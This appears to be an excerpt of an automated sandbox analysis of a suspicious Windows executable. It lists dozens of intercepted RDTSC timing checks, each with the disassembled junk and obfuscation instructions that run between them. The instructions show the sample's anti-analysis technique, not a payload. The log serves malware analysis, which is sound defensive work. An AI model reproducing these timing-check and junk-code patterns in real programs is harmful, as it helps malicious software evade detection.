Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E55F8A second address: E55FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8784D62271h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E55FA6 second address: E55FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F8784B3055Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E5B5DA second address: E5B5E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8784D62266h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E5B5E6 second address: E5B5F0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8784B30556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D78A23 second address: D78A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D78A29 second address: D78A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E604F3 second address: E604FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E604FB second address: E604FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E604FF second address: E6050E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E6050E second address: E6051E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B3055Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E6051E second address: E60524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E61C1D second address: E61C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E61C23 second address: E61C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E61C2B second address: E61C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E61C33 second address: E61C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E61C38 second address: E61C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30562h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E61C4F second address: E61C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E61C55 second address: E61C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F8784B3055Eh 0x0000000f push edx 0x00000010 pop edx 0x00000011 jne 00007F8784B30556h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E69A6D second address: E69A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E6837F second address: E68383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E68383 second address: E68387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E68387 second address: E683A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784B30565h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E68D5C second address: E68D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E68D62 second address: E68D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E6EC4E second address: E6EC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F8784D62272h 0x0000000b jmp 00007F8784D62271h 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F8784D62266h 0x00000018 jmp 00007F8784D6226Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E7B40F second address: E7B413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E7B413 second address: E7B439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784D62276h 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F8784D62266h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E7F440 second address: E7F455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8784B30556h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jbe 00007F8784B30558h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA6CF6 second address: EA6D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F8784D62273h 0x0000000b jmp 00007F8784D6226Ch 0x00000010 jl 00007F8784D62266h 0x00000016 jmp 00007F8784D62275h 0x0000001b popad 0x0000001c popad 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA6D3F second address: EA6D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA6D43 second address: EA6D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA6D47 second address: EA6D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA6D4D second address: EA6D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8784D6226Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA5DC0 second address: EA5DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA60A6 second address: EA60AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA60AC second address: EA60B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA60B0 second address: EA60B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA60B4 second address: EA60C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F8784B3055Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA6396 second address: EA639A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA639A second address: EA63A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA64E6 second address: EA64EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA66D2 second address: EA66D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA66D6 second address: EA6718 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62271h 0x00000007 jng 00007F8784D62266h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F8784D62274h 0x0000001c js 00007F8784D62266h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA6718 second address: EA671C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA671C second address: EA6728 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007F8784D62266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA85B4 second address: EA85DD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F8784B30556h 0x00000009 jmp 00007F8784B3055Ah 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007F8784B30560h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EA844F second address: EA8459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAAF43 second address: EAAF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAAF50 second address: EAAF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAAF56 second address: EAAF5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAB497 second address: EAB49C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAB49C second address: EAB514 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8784B3055Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D24D5h], esi 0x00000013 push dword ptr [ebp+122D1B94h] 0x00000019 mov edx, dword ptr [ebp+1244EAB7h] 0x0000001f call 00007F8784B30559h 0x00000024 push edi 0x00000025 jmp 00007F8784B30565h 0x0000002a pop edi 0x0000002b push eax 0x0000002c jne 00007F8784B3056Eh 0x00000032 pushad 0x00000033 push ecx 0x00000034 pop ecx 0x00000035 jmp 00007F8784B30564h 0x0000003a popad 0x0000003b mov eax, dword ptr [esp+04h] 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 ja 00007F8784B30556h 0x00000048 jno 00007F8784B30556h 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAB514 second address: EAB532 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8784D62268h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8784D6226Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAB532 second address: EAB54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B30568h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAB54E second address: EAB586 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 jmp 00007F8784D62274h 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAE44C second address: EAE459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAE459 second address: EAE466 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAE466 second address: EAE473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAE473 second address: EAE477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAE477 second address: EAE496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8784B3055Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAE496 second address: EAE4A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAE01E second address: EAE039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8784B30566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: EAE039 second address: EAE03E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC5E4B second address: DC5E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5500356 second address: 5500366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D6226Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5500366 second address: 550036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 550036A second address: 5500393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov edx, eax 0x0000000c push esi 0x0000000d push edi 0x0000000e pop eax 0x0000000f pop edi 0x00000010 popad 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8784D62273h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5500393 second address: 55003FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8784B3055Fh 0x00000009 and cx, 4A2Eh 0x0000000e jmp 00007F8784B30569h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b jmp 00007F8784B3055Ch 0x00000020 mov edx, dword ptr [ebp+0Ch] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov eax, ebx 0x00000028 jmp 00007F8784B30569h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55003FA second address: 550040A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D6226Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 550040A second address: 5500424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5500424 second address: 5500428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5500428 second address: 5500443 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5500474 second address: 5500478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5500478 second address: 550047E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55205BF second address: 552063D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 call 00007F8784D6226Bh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov di, ax 0x00000013 pushad 0x00000014 movzx eax, dx 0x00000017 mov ecx, edi 0x00000019 popad 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov edx, 73A68F06h 0x00000022 call 00007F8784D62277h 0x00000027 pushfd 0x00000028 jmp 00007F8784D62278h 0x0000002d jmp 00007F8784D62275h 0x00000032 popfd 0x00000033 pop eax 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F8784D6226Ah 0x0000003e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 552063D second address: 5520643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520643 second address: 552068D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8784D62274h 0x00000010 adc esi, 43AC7D98h 0x00000016 jmp 00007F8784D6226Bh 0x0000001b popfd 0x0000001c mov edi, eax 0x0000001e popad 0x0000001f mov dword ptr [esp], ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8784D62271h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 552068D second address: 552069D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B3055Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 552069D second address: 55206DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov ebx, esi 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 mov bx, 886Eh 0x00000016 pushad 0x00000017 call 00007F8784D62275h 0x0000001c pop eax 0x0000001d push edi 0x0000001e pop ecx 0x0000001f popad 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push ecx 0x00000028 pop edi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55206DD second address: 55206EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B3055Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55206EB second address: 5520724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b pushad 0x0000000c mov edx, 1BFDE130h 0x00000011 call 00007F8784D62279h 0x00000016 movzx eax, bx 0x00000019 pop edi 0x0000001a popad 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f movsx edi, ax 0x00000022 mov bh, ch 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520724 second address: 552075D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8784B30566h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov si, 4223h 0x00000014 mov dh, cl 0x00000016 popad 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8784B3055Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 552075D second address: 552078A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62271h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8784D6226Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 552078A second address: 5520790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55207E7 second address: 55207EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55207EB second address: 55207F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55207F1 second address: 5520832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8784D62272h 0x00000009 add esi, 133BDA18h 0x0000000f jmp 00007F8784D6226Bh 0x00000014 popfd 0x00000015 mov si, 6DCFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F8784D6226Ch 0x00000027 rdtsc
